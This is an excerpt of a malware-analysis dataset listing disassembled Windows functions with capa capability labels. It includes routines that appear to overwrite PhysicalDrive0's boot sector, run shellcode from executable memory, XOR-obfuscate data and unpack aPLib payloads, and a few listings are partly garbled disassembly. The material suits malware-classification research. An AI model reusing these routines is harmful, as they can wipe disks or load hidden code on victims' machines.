joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140032900
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140032930
xor eax, eax
jmp 0x1400329f3
mov rbp, rbx
cmp word [rax], si
je 0x140032955
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14003293c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140032938
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140032820
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x140032996
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140032929
call fcn.1400337f0
mov rdi, rax
test rax, rax
jne 0x1400329ac
xor ecx, ecx
call fcn.140030e00
jmp 0x14003298b
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140032820
test eax, eax
jne 0x1400329dd
mov rcx, rdi
call fcn.140030e00
jmp 0x1400329e7
xor ecx, ecx
call fcn.140030e00
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400362fc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400318d8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140036386
cmp byte [rbp - 0x21], r15b
je 0x140036381
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400363bc
call fcn.140034034
test eax, eax
jne 0x1400363a8
cmp byte [rbp - 0x21], r15b
je 0x1400363a0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400363bc
cmp byte [rbp - 0x21], r15b
je 0x1400363b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140030e6c
test eax, eax
jne 0x14003645c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400318d8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400363fb
cmp byte [rbp - 0x21], r15b
je 0x140036430
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140036430
call fcn.140034034
test eax, eax
jne 0x14003641c
cmp byte [rbp - 0x21], r15b
je 0x140036415
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140036430
cmp byte [rbp - 0x21], r15b
je 0x14003642d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140030e6c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14003645c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14003645f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14003646d
mov rcx, rdi
call fcn.140030e00
cmp byte [rbp + 0x3f], r15b
je 0x14003647c
mov rcx, qword [rbp + 0x27]
call fcn.140030e00
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140038320
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140038348
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140038348
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x180578a52
Capabilities:
Encode data using xor

Disassembly:
mov r11, qword [rdi + 8]
add rdi, 0xc
xor ecx, ecx
push 0x13236b4
test r11, r11
jmp 0x18056958b
mov r10d, 0x9406c731
pop r10
jmp 0x18057c03a
lea rsp, [rsp + 8]
je 0x1805691c3
mov ebx, 0x18dca18
push r10
movzx r10d, bx
jmp 0x18057543f
lea r10, [0x180582498]
mov ebx, 0xab94f78f
movzx ebx, byte [rax]
push 0xffffffffbb825b3c
sar dword [rsp + 1], 0x28
xor ebx, ecx
not byte [rsp + 4]
and ebx, 0xff
mov ebx, dword [r10 + rbx*4]
and qword [rsp], 0xffffffff8c9de897
shr ecx, 8
xor ecx, ebx
inc rax
xor ecx, 0x1d1a7e99
dec r11
lea rsp, [rsp + 8]
jne 0x180575446
jmp 0x1805691bb
mov eax, 0x2894feaf
mov qword [rsp + rax - 0x2894feaf], rax
mov eax, dword [rdi + rax*2 - 0x5129fd5e]
jmp 0x18058d68e
jmp 0x180578a4b
mov dword [rdi], eax
call fcn.180566670
mov rax, qword [rdi]
jmp 0x180588d77
not ecx
push 0x5e8021b2
push 0x71934eb0
mov dword [rdi], ecx
lea rsp, [rsp + 0x10]
jmp fcn.1805671ce
mov r11d, 0x87abad2c
jmp 0x18054f916
mov ecx, 0xbd30c1af
mov ecx, dword [rdi + 4]
add rdi, 4
push 0xffffffffc60cb124
add eax, ecx
jmp 0x1805784f5
Function at 0x14166e108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14166e28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14166e139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14166e11f
add dl, dl
jne 0x14166e146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14166e1a6
xor eax, eax
add dl, dl
jne 0x14166e155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14166e25d
add dl, dl
jne 0x14166e166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14166e19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14166e12e
mov eax, 1
add dl, dl
jne 0x14166e1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14166e1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14166e1ab
sub eax, ebx
mov ebx, 1
jne 0x14166e1fc
mov ecx, 1
add dl, dl
jne 0x14166e1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14166e1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14166e1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14166e12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14166e218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14166e225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14166e20d
cmp eax, 0x7d00
jae 0x14166e24b
cmp eax, 0x500
jb 0x14166e246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14166e12e
cmp eax, 0x7f
ja 0x14166e24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14166e12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14166e282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14166e12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001134d
Capabilities:
Terminate process

Disassembly:
jmp 0x140017820
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011438
Capabilities:
Parse pe header

Disassembly:
jmp 0x140018b70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140018b90
xor al, al
jmp 0x140018c11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140018ba3
xor al, al
jmp 0x140018c11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140018bcd
xor al, al
jmp 0x140018c11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140018be1
xor al, al
jmp 0x140018c11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140018bf3
xor al, al
jmp 0x140018c11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140018c0f
xor al, al
jmp 0x140018c11
mov al, 1
add rsp, 0x38
ret
Function at 0x140016970
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011640
movzx eax, al
test eax, eax
jne 0x140016990
mov ecx, 7
call fcn.140011514
nop
mov byte [rsp + 0x20], 0
call fcn.140011550
mov byte [rsp + 0x21], al
cmp dword [0x140024b78], 1
jne 0x1400169b4
mov ecx, 7
call fcn.140011514
nop
jmp 0x140016a0c
cmp dword [0x140024b78], 0
jne 0x140016a07
mov dword [0x140024b78], 1
lea rdx, [0x14001f660]
lea rcx, [0x14001f330]
call fcn.1400112b7
test eax, eax
je 0x1400169e8
mov eax, 0xff
jmp 0x140016b11
lea rdx, [0x14001f220]
lea rcx, [section..rdata]
call fcn.140011537
mov dword [0x140024b78], 2
jmp 0x140016a0c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400114fb
call fcn.140011460
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140016a69
mov rcx, qword [rsp + 0x30]
call fcn.140011235
movzx eax, al
test eax, eax
je 0x140016a69
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002b020]
nop
call fcn.1400114ab
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140016a9d
mov rcx, qword [rsp + 0x38]
call fcn.140011235
movzx eax, al
test eax, eax
je 0x140016a9d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400115e6
nop
call fcn.140016bc0
mov dword [rsp + 0x28], eax
call fcn.140011438
movzx eax, al
test eax, eax
jne 0x140016abc
mov ecx, dword [rsp + 0x28]
call fcn.140011073
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140016acb
call fcn.1400115f5
nop
xor edx, edx
mov cl, 1
call fcn.14001120d
mov eax, dword [rsp + 0x28]
jmp 0x140016b11
add rsp, 0x68
ret
Function at 0x180001e50
Capabilities:
Terminate process
Write file on windows

Disassembly:
sub rsp, 0x58
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 2
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, 0x200
lea rdx, [0x1800020f0]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x7ff72a7cc7ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
push rcx
call 0x7ff72a9ffa26
test rax, rax
je 0x7ff72a7cc836
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x7ff72a7cc836
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff72a7cc836
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x7ff72a7cc836
cmp dword [rcx + 0x84], 0xe
jbe 0x7ff72a7cc836
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x7ff72a7cc838
xor al, al
add rsp, 0x28
ret

Function at 0x7ff72a7da840
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x7ff72a7da8af
xor ecx, ecx
push rcx
call 0x7ff72a93630c
test rax, rax
je 0x7ff72a7da8af
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x7ff72a7da8af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff72a7da8af
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x7ff72a7da8af
cmp dword [rcx + 0x84], 0xe
jbe 0x7ff72a7da8af
cmp dword [rcx + 0xf8], 0
je 0x7ff72a7da8af
mov ecx, ebx
call fcn.7ff72a7da960
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.7ff72a7da73c
nop
cmp dword [rbp + 0x20], 0
je 0x7ff72a7da8fd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.7ff72a7da908
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x7ff72a7da840

Function at 0x7ff72a7e0ab0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xdeac
cmp ecx, eax
ja 0x7ff72a7e0b08
je 0x7ff72a7e0aff
mov eax, 0xc433
cmp ecx, eax
ja 0x7ff72a7e0ae3
je 0x7ff72a7e0aff
mov eax, ecx
sub eax, 0x2a
je 0x7ff72a7e0aff
sub eax, 0xc402
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
cmp eax, 3
jmp 0x7ff72a7e0afd
mov eax, ecx
sub eax, 0xc435
je 0x7ff72a7e0aff
sub eax, 0x1263
je 0x7ff72a7e0b3b
sub eax, 0x812
je 0x7ff72a7e0aff
cmp eax, 1
jne 0x7ff72a7e0b01
xor edx, edx
call 0x7ff72a868d79
mov ebp, 0xad2dc18b
fiadd word [rax]
add byte [rsi + rbp*8 - 0x7d], dh
call 0x7ff6ae677f18
call 0x7ff6ae627f1d
call 0x7ff6ae5d7f22
call 0x7ff6ae587f27
call 0x7ff6ae537f2c
call 0x7ff7584e7f31
xor eax, 0x7400001f
leave
mov eax, ecx
sub eax, 0xdead
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
sub eax, 1
je 0x7ff72a7e0aff
sub eax, 0x1f35
je 0x7ff72a7e0aff
cmp eax, 1
jne 0x7ff72a7e0b01
and edx, 8
jmp 0x7ff72a7e0b01

Function at 0x7ff72a7eade0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x7ff72a7eae08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x7ff72a7eae08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180001190
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov edx, 0x55f63c3
call fcn.180001070
mov edx, 1
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call rax
lea r9, [rsp + 0x34]
mov edx, 1
mov r8d, 0x20
mov rcx, rax
mov rdi, rax
mov byte [rax], 6
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180001244
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ebx, eax
call fcn.180001330
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1800014f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180001540
add rsp, 0x40
pop rdi
ret
mov edx, 0x544e304
call fcn.180001070
xor edx, edx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x28], rcx
lea r8, [0x180001180]
xor ecx, ecx
mov dword [rsp + 0x30], edx
mov r9, rdi
mov dword [rsp + 0x20], edx
call rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180001540
add rsp, 0x40
pop rdi
ret
Function at 0x141d97058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141d971df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141d97089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141d9706f
add dl, dl
jne 0x141d97096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141d970f6
xor eax, eax
add dl, dl
jne 0x141d970a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141d971ad
add dl, dl
jne 0x141d970b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d970c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d970d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d970dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141d970ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141d9707e
mov eax, 1
add dl, dl
jne 0x141d97106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141d97113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141d970fb
sub eax, ebx
mov ebx, 1
jne 0x141d9714c
mov ecx, 1
add dl, dl
jne 0x141d9712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141d9713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141d97123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141d9707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141d97168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141d97175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141d9715d
cmp eax, 0x7d00
jae 0x141d9719b
cmp eax, 0x500
jb 0x141d97196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141d9707e
cmp eax, 0x7f
ja 0x141d9719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141d9707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141d971d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141d9707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800231d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
xor edx, edx
mov dword [rbp - 0x59], 0x10001
mov dword [rbp - 0x55], 0x20001
mov rax, rcx
or rax, 1
mov dword [rbp - 0x51], 0x20002
bsr rax, rax
mov dword [rbp - 0x4d], 0x30003
mov r8, rcx
cdqe
mov r9d, 0xa
mov dword [rbp - 0x49], 0x40003
mov dword [rbp - 0x45], 0x40004
mov dword [rbp - 0x41], 0x50004
mov dword [rbp - 0x3d], 0x50005
mov dword [rbp - 0x39], 0x60006
mov dword [rbp - 0x35], 0x70006
mov dword [rbp - 0x31], 0x70007
mov dword [rbp - 0x2d], 0x80007
mov dword [rbp - 0x29], 0x80008
mov dword [rbp - 0x25], 0x90009
mov dword [rbp - 0x21], 0xa0009
mov dword [rbp - 0x1d], 0xa000a
mov dword [rbp - 0x19], 0xb000a
mov dword [rbp - 0x15], 0xb000b
mov dword [rbp - 0x11], 0xc000c
mov dword [rbp - 0xd], 0xd000c
mov dword [rbp - 9], 0xd000d
mov dword [rbp - 5], 0xe000d
mov dword [rbp - 1], 0xe000e
mov dword [rbp + 3], 0xf000f
mov dword [rbp + 7], 0x10000f
mov dword [rbp + 0xb], 0x100010
mov dword [rbp + 0xf], 0x110010
mov dword [rbp + 0x13], 0x110011
mov dword [rbp + 0x17], 0x120012
mov dword [rbp + 0x1b], 0x130012
mov dword [rbp + 0x1f], 0x130013
mov dword [rbp + 0x23], 0x140013
movzx ecx, word [rbp + rax*2 - 0x59]
movabs rax, 0x2540be400
mov qword [rbp - 1], rax
movabs rax, 0x174876e800
mov qword [rbp + 7], rax
movabs rax, 0xe8d4a51000
mov qword [rbp + 0xf], rax
movabs rax, 0x9184e72a000
mov qword [rbp + 0x17], rax
movabs rax, 0x5af3107a4000
mov qword [rbp + 0x1f], rax
movabs rax, 0x38d7ea4c68000
mov qword [rbp + 0x27], rax
movabs rax, 0x2386f26fc10000
mov qword [rbp + 0x2f], rax
movabs rax, 0x16345785d8a0000
mov qword [rbp + 0x37], rax
movabs rax, 0xde0b6b3a7640000
mov qword [rbp + 0x3f], rax
movabs rax, 0x8ac7230489e80000
mov qword [rbp + 0x47], rax
mov eax, ecx
mov qword [rbp - 0x59], rdx
mov qword [rbp - 0x51], rdx
mov qword [rbp - 0x49], r9
mov qword [rbp - 0x41], 0x64
mov qword [rbp - 0x39], 0x3e8
mov qword [rbp - 0x31], 0x2710
mov qword [rbp - 0x29], 0x186a0
mov qword [rbp - 0x21], 0xf4240
mov qword [rbp - 0x19], 0x989680
mov qword [rbp - 0x11], 0x5f5e100
mov qword [rbp - 9], 0x3b9aca00
cmp r8, qword [rbp + rcx*8 - 0x59]
setb dl
sub eax, edx
add rsp, 0xb0
pop rbp
ret
Function at 0x18004a710
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x20
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x18004a734
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
je 0x18004a7c2
mov rdi, r15
mov qword [rsp + 0x40], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x18004a790
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x18004a790
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.1803752c0
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18004a7ad
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18004a7b5
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x18004a751
mov rbp, qword [rsp + 0x40]
sub r15, rdi
jmp 0x18004a8a0
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x18004a7d9
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18004a7db
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18004a80d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.1803752c0
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18004a89d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18004a848
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x18004a87e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.18034f8f0
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x18004a89d
cmp rsi, rax
ja 0x18004a851
test rsi, rsi
